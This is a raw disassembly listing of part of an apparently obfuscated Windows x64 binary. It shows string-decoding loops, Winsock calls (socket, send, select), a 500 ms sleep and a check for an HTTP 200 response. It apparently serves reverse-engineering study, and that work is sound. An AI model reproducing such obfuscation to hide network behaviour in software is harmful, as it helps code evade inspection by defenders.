lea rax, [r8 + 0x28]
cmp rcx, rax
jb 0x14007f92c
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x14007f0b6
lea rcx, [r8 + 0x2a]
cmp rbx, rcx
jb 0x14007f09c
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007f081
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14007f2ba
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14007f271
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14007f233
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14007f20e
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14007eed0
mov rbx, rcx
lea r8, [rcx + 0x3e8]
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14007f1e2
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14007f1c2
lea rax, [r8 + 9]
cmp rcx, rax
ja 0x14007f1a7
lea rcx, [r8 + 0x400]
cmp rbx, rcx
ja 0x14007f177
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007f15a
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14007f13a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14007f117
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14007f0f1
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14007f0d1
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14007eed0
mov rbx, rcx
lea r8, [rcx + 0x28]
jmp 0x14007eed0
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
jmp 0x14007eec0
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
jmp 0x14007ee50
lea ecx, [r9 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x71
jmp 0x14007ede0
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f845
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
inc r8
dec r11
inc r11
jmp 0x14007edc5
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x14007edc5
add r9b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f8aa
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x14007f8e5
add r9b, 0x1e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007edc5
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x14007f770
add r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f799
sub r9b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
sub r9b, 0x2d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x3b
mov byte [rsp + r11 + 0x40], dil
inc r11
jmp 0x14007edc5
lea ecx, [r9 + 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x37
cmp r8, 0x7a
jb 0x14007f226
sub r9b, 0x1a
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
lea edi, [rcx + rcx]
jmp 0x14007f845
lea ecx, [r9 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x57
cmp rbx, 0x28
jae 0x14007f70e
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14007f604
lea edx, [r9 - 0x2e]
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f249
lea ecx, [r9 + 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1b
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x14007f72d
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x14007f550
lea ecx, [r9 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
jmp 0x14007f287
sub r9b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x14007f799
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14007f770
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007edc5
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f8e5
add r9b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x14007f8aa
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007edc5
add r9b, 0x70
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x10
inc r8
dec r11
inc r11
jmp 0x14007edc5
sub r9b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f845
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x14007f46d
lea ecx, [r9 - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x47
jmp 0x14007f2d0
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f4a5
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f4ce
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f8e5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f4f4
add r9b, 0x34
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6c
jmp 0x14007f8aa
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f526
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14007edc5
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007f2d0
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x16
jmp 0x14007f845
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f576
add r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x79
jmp 0x14007f845
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f5a4
inc r9b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 7
inc r8
dec r11
inc r11
jmp 0x14007edc5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f5ca
sub r9b, 0x79
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4f
jmp 0x14007f8e5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f287
add r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3f
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007edc5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007f639
add r9b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007f65d
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
jmp 0x14007f770
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007f683
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x14007f8aa
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007f6b2
add r9b, 0x60
movzx eax, r9b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x14007edc5
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007f6e1
sub r9b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2e
inc r8
dec r11
inc r11
jmp 0x14007edc5
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007f249
add r9b, 0x64
movzx eax, r9b
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14007f845
add r9b, 0x68
movzx eax, r9b
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007f8aa
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x66]
jmp 0x14007f770
sub r9b, 0x1b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x43
jmp 0x14007f799
lea ecx, [r9 + 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x4b
sub r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x53
add r9b, r10b
movzx eax, r9b
mov byte [rsp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rsp + r11 + 0x40], cl
inc rbx
mov rax, r12
sub rax, rbx
add r11, rax
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
sub r9b, 0x23
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xb
jmp 0x14007f8aa
add r9b, 0x5b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7d
dec r11
inc r11
jmp 0x14007edc5
add r9b, 0x57
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x61
jmp 0x14007f845
lea ecx, [rsi + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x45
sub sil, 0x59
movzx eax, sil
and al, r10b
add al, al
sub sil, al
add sil, 0x6f
add sil, r10b
mov byte [rsp + r11 + 0x40], sil
inc r8
dec r11
inc r11
jmp 0x14007edc5
sub sil, 0x2f
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
add dil, 0x49
inc r8
dec r11
inc r11
jmp 0x14007edc5
lea ecx, [rsi - 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x65
add sil, 0x29
movzx eax, sil
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x1f
add cl, sil
add cl, r10b
mov byte [rsp + r11 + 0x40], cl
jmp 0x14007f8e5
add sil, 0x4b
movzx eax, sil
and al, r10b
add al, al
sub sil, al
lea edi, [r10 + rsi]
sub dil, 0xd
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14007edc5
movabs rax, 0xc7125ec793d49a43
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea edi, [r10 + rax]
add dil, 0x2b
movzx eax, byte [rsp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14007edc5
add r9b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x1d
jmp 0x14007edc2
sub r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x55
jmp 0x14007edb2
lea rdx, [rbp + 0x147e0ec]
jmp 0x14007f97d
lea rdx, [rbp + 0x7969ad]
jmp 0x14007f97d
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x238]
call fcn.14003a84c
nop
mov dword [rbp + 0xa0], 0xd7cddade
mov dword [rbp + 0xa4], 0xd1dbd8d1
mov word [rbp + 0xa8], 0x26cb
mov byte [rbp + 0xaa], 0xc0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xab], xmm0
mov word [rbp + 0xbb], ax
movabs r14, 0x967a83acbf878877
movzx edi, byte [rsp + 0x20]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor esi, esi
cmp rsi, 0x1d
jae 0x140080330
movzx r11d, byte [rbp + rsi + 0xa0]
mov edx, r11d
nop dword [rax + rax]
cmp rbx, rsi
ja 0x140080327
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007fa2c
lea rcx, [rsi + r14]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x41
jmp 0x14007fa4c
je 0x1400802b3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140080259
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080239
movzx r10d, sil
cmp r8, rsi
ja 0x14008031e
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14007fa7d
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x55
jmp 0x14007fab1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400801f6
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400801d0
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400801a3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008015c
lea rax, [r8 + rbx]
cmp rax, rsi
jbe 0x14007fea3
nop
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14007fe84
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14007fe5e
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14007fe38
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14007fe1c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007fde9
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14007fdbc
lea rbx, [r8 + 4]
lea r8, [rbx + 5]
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140080301
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400802e4
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007fc04
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007fbe9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14007fbce
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14007fd0d
lea rbx, [r8 + 9]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007fcdc
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14007fcbc
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14007fc9d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14007fc70
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14007fc3d
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14007fc21
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x7a]
jmp 0x14007fac0
lea ecx, [r10 - 0x63]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x4b
jmp 0x14007fab1
lea ecx, [r10 - 0x51]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x37
jmp 0x14007fa50
sub r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x47
jmp 0x14007fa00
lea edx, [r10 + 0x4e]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x22
jmp 0x140080106
add r10b, 0x60
movzx eax, r11b
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
add r10b, 0x72
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x1e
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
lea edx, [r10 - 0x7c]
movzx eax, r11b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
jmp 0x140080172
sub r10b, 0x6a
movzx eax, r11b
and al, r10b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x1a
add dil, r10b
jmp 0x140080274
sub r10b, 0x58
movzx eax, r11b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
movzx eax, byte [rbp + rsi + 0xa0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007f9e2
lea edx, [r10 - 0x75]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
add dil, 0x33
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x80
je 0x140080143
lea r9, [r8 + 1]
cmp rbx, r9
jbe 0x14007ff79
lea edx, [r10 + 0x5b]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dl, 0x7d
add dil, dl
lea rdx, [r8 + 2]
cmp rbx, 4
jae 0x1400800ec
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x14007fff4
lea edx, [r10 + 0x1e]
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
cmp r8, 9
jb 0x1400800dc
lea edx, [r10 + 0x6a]
movzx eax, r11b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14008020c
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x78
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
sub r10b, 0x26
movzx eax, r11b
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
lea edx, [r10 - 0x14]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x74
jmp 0x140080106
sub r10b, 2
movzx eax, r11b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
dec rsi
inc rsi
jmp 0x14007f9e2
add r10b, 0x10
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x70
inc r8
dec rsi
inc rsi
jmp 0x14007f9e2
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r11b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14008020c
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007fec7
lea ecx, [r10 + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x41
jmp 0x14007fd27
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007ff01
sub r10b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
movzx eax, byte [rbp + rsi + 0xa0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007f9e2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007ff29
lea edx, [r10 + 0x62]
movzx eax, dl
and al, r11b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140080172
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007ff4d
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x34
jmp 0x140080109
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007fd27
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x14008020c
jne 0x14007ff99
lea edx, [r10 + 0x49]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
inc dil
add dil, dl
jmp 0x14008020c
lea rdx, [r8 + 2]
cmp rbx, rdx
jne 0x14007ffc8
add r10b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x7f
inc r8
dec rsi
inc rsi
jmp 0x14007f9e2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007fd61
lea edx, [r10 - 0x23]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0xb
add dil, dl
jmp 0x140080172
cmp rbx, r9
jne 0x140080027
add r10b, 0xc
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x54
movzx eax, byte [rbp + rsi + 0xa0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007f9e2
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008004f
lea edx, [r10 - 0x18]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x58
add dil, dl
jmp 0x140080172
cmp rbx, rdx
jne 0x140080084
sub r10b, 0x2a
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
cmp rbx, rcx
jne 0x1400800b9
sub r10b, 0x3c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x5c
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007fd92
lea edx, [r10 - 0x4e]
movzx eax, r11b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140080103
mov byte [rbp + rsi + 0xa0], dil
inc rsi
jmp 0x14007f9e2
lea edx, [r10 + 0x58]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x68
add dil, r11b
add dil, dl
sub r10b, 0x31
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x57
add r11b, r10b
add r11b, dil
mov byte [rbp + rsi + 0xa0], r11b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
lea edx, [r10 + 0x46]
movzx eax, r11b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140080172
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x1d
sub r10b, 0x43
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x2b
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi + 0xa0], al
inc r8
add rax, r8
sub rsi, rax
jmp 0x140080274
add r10b, 0x57
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x61
movzx eax, dil
mov rcx, r12
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14007f9e2
sub r10b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x59
inc r8
dec rsi
inc rsi
jmp 0x14007f9e2
lea ecx, [r10 - 0x4f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x29
sub r10b, 0x1f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x27
add r11b, r10b
mov byte [rbp + rsi + 0xa0], r11b
inc r8
dec rsi
inc rsi
jmp 0x14007f9e2
lea ecx, [rsi - 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x31
dec rsi
inc rsi
jmp 0x14007f9e2
movabs rax, 0xf064925fbda5aa53
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea edi, [r11 + rax]
sub dil, 0x45
lea ecx, [rsi + 0x34]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x6c
add r11b, cl
mov byte [rbp + rsi + 0xa0], r11b
inc rbx
mov rax, r12
sub rax, rbx
add rsi, rax
movzx eax, byte [rbp + rsi + 0xa0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007f9e2
movabs rax, 0xc36f8b063e969965
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea edi, [r11 + rax]
add dil, 0x3d
movzx eax, byte [rbp + rsi + 0xa0]
add rax, r8
add rsi, rax
inc rsi
jmp 0x14007f9e2
sub r10b, 0x2d
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x3b
jmp 0x14007f9e0
sub r10b, 0x1b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x43
jmp 0x14007f9d0
lea rdx, [rbp + 0x14fb094]
jmp 0x140080337
lea rdx, [rbp + 0x157390b]
jmp 0x140080337
lea rdx, [rbp + 0xa0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x210], 0
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140080360
lea rcx, [rbp + 0x1f8]
call fcn.14002ed40
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
movups xmmword [rbp + 0x268], xmm0
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x258]
lea rcx, [rbp + 0x1f0]
call fcn.140073ad0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
movups xmmword [rbp + 0x228], xmm0
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x1f0]
call fcn.140073ad0
nop
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp + 0x258]
test rcx, rcx
je 0x1400826b2
cmp dword [rcx + 0x20], 0xc8
jne 0x1400826b2
add rcx, 0x58
lea rdx, [rbp + 0x238]
cmp qword [rbp + 0x250], 0xf
cmova rdx, qword [rbp + 0x238]
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140080420
mov rcx, qword [rcx]
cmp r8, qword [rbp + 0x248]
jne 0x140080432
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140080480
mov rcx, qword [rbp + 0x218]
add rcx, 0x58
